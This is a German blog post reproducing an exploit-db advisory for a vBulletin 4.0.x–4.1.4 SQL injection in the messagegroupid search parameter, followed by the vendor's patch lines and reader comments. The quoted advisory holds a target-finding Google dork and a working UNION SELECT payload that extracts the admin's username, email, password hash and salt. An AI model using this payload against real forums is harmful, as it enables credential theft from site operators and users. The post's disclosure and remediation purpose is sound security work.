vBulletin 4.0.x => 4.1.4 (messagegroupid) SQL Injection Vulnerability

Ahoi,

vor ein paar Monaten, hatte ich zu einer SQL Injection in vBulletin ja schon einige Worte geschrieben, heute folgen die naechsten Worte.

Das lustige ist, dass es im prinzip das selbe Modul wie damals war.

Das Exploit ist seit gestern bzw. heute draußen:

# Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day
# Google Dork: intitle: powered by Vbulletin 4
# Date: 20/07/2011
# Author: FB1H2S	
# Software Link: [[url]http://www.vbulletin.com/][/url]
# Version: [4.x.x]
# Tested on: [relevant os]
# CVE : [[url]http://members.vbulletin.com/][/url]

######################################################################################################
Vulnerability:
######################################################################################################

Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.

#####################################################################################################
Vulnerable Code:
#####################################################################################################

File:    /vbforum/search/type/socialgroupmessage.php
Line No: 388
Paramater : messagegroupid



		
		if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)

		{

			$value = $registry->GPC['messagegroupid'];

			if (!is_array($value))

			{

				$value = array($value);

			}



			if (!(in_array(' ',$value) OR in_array('',$value)))

			{

				if ($rst = $vbulletin->db->query_read("

					SELECT socialgroup.name

					FROM " . TABLE_PREFIX."socialgroup AS socialgroup

--->					WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")

				
			}



############################################################################################
Exploitation:
############################################################################################
Post data on: -->search.php?search_type=1
	      --> Search Single Content Type

Keywords :   Valid Group Message

Search Type : Group Messages 

Search in Group : Valid Group Id

&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#

##########################################################################################
More Details:
##########################################################################################
Http://www.Garage4Hackers.com
http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day


###########################################################################################
Note:
###########################################################################################

Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".

Quelle: http://www.exploit-db.com/exploits/17555/

Schlicht gehalten und das wichtigste ist drin. Der Exploit Titel ist uebrigens falsch, da es die Version 4.1.4 genauso betrifft.

Zum Thema ausnutzen muss ich denk ich nichts sagen, das hab ich beim letzten Mal ausfuehrlich getan und das klappt im Prinzip in diesem Exploit genauso.

Aber zum Thema Luecke fixxen werd ich ein paar Dinge sagen, die ich mir nicht selber ausgedacht habe, sondern werde diese vom vB veroeffentlichtem Patch uebernehmen:

Wie im obigen Exploit zu sehen, geht es um den Code in Zeile 397 (den kompletten code block seht ihr im exploit oben):

WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")

Das wurde nun geaendert zu:

WHERE socialgroup.groupid IN (" . implode(', ', array_map('intval', $value)) .")")

Eine weitere Zeile die geaendert wurde ist 424:

					WHERE socialgroupcategory.socialgroupcategoryid IN (" . implode(', ', $value) .")")

wurde geaendert in:

					WHERE socialgroupcategory.socialgroupcategoryid IN (" . implode(', ', array_map('intval', $value)) .")")

Dann Zeile 511 – 515:

	protected $type_globals = array (
		'nocache'            => TYPE_UINT,
		'messagegroupid'     => TYPE_ARRAY,
		'categoryid'         => TYPE_ARRAY
	);

zu

	protected $type_globals = array (
		'nocache'            => TYPE_UINT,
		'messagegroupid'     => TYPE_ARRAY_UINT,
		'categoryid'         => TYPE_ARRAY_UINT,
	);

Kunden koennen sich den Patch natuerlich im Kundenpanel runterladen.

Wer sich nun denkt “toll, und was soll das ganze?” – in erster Linie wollte ich den Blogeintrag schreiben, weil die Luecke quasi im gleichen Modul ist zu der von damals und als zweiten Gedanken um den Leuten ohne vB Lizenz eine Moeglichkeit zu geben, ihr Board vor der Luecke zu schuetzen – als dritter Gedanke sollte natuerlich auch meinem Slogan dieser Blogeintrag gewidmet sein.

Bis zur naechsten vB Vuln 😉

4 Replies to “vBulletin 4.0.x => 4.1.4 (messagegroupid) SQL Injection Vulnerability”

  1. vBulletin hat sich mittlerweile zu einer sehr lückenhaften und schlechten Software entwickelt. Seit dem Adduco Digital die Software aufgekauft hat, hat sich alles nur ins negative entwickelt.
    Man sollte sich wirklich überlegen nicht auf eine andere Forensoftware umzusteigen, wobei ich Foren ( ausgenommen großen mit über 40k aktiven Membern) mittlerweile für nicht mehr zeitgemäß halte, seitdem es Facebook, Twitter und die anderen Plattformen gibt. Alle Betreiber von Foren sollten sich wirklich überlegen ob sie ihr Geld weiterhin für Bots ausgeben wollen (eingeschlossen mich). Vor allem die Foren, welche “allgemeine” Themen behandeln und sich nicht auf ein Thema spezialisieren sind doch arg aus der Mode gekommen und stehen meistens kurz vorm Sterben.
    Nun gut ich steiger mich da wieder total rein.
    Das wichtigste zu dem eigentlichen Thema hab ich ja schon gesagt 😉
    Toller Beitrag, wie immer, @ j0hn

  2. > Seit dem Adduco Digital die Software aufgekauft hat,
    Adduco Digital ist eigentlich nur der “Deutsche Zweig” von vBulletin und so heißen die glaub schon fast ewig.
    Du meinst daher wohl IB (Internet Brands) die vBulletin vor ~ 2 Jahren uebernommen haben.

    Ansonsten stimm ich dir in dem Text zu.

  3. Jap hab mich da vertan, meinte natürlich Internet Brands.
    Hatte nämlich nur auf das Impressum der deutschen seite geschaut xD

Leave a Reply

Your email address will not be published. Required fields are marked *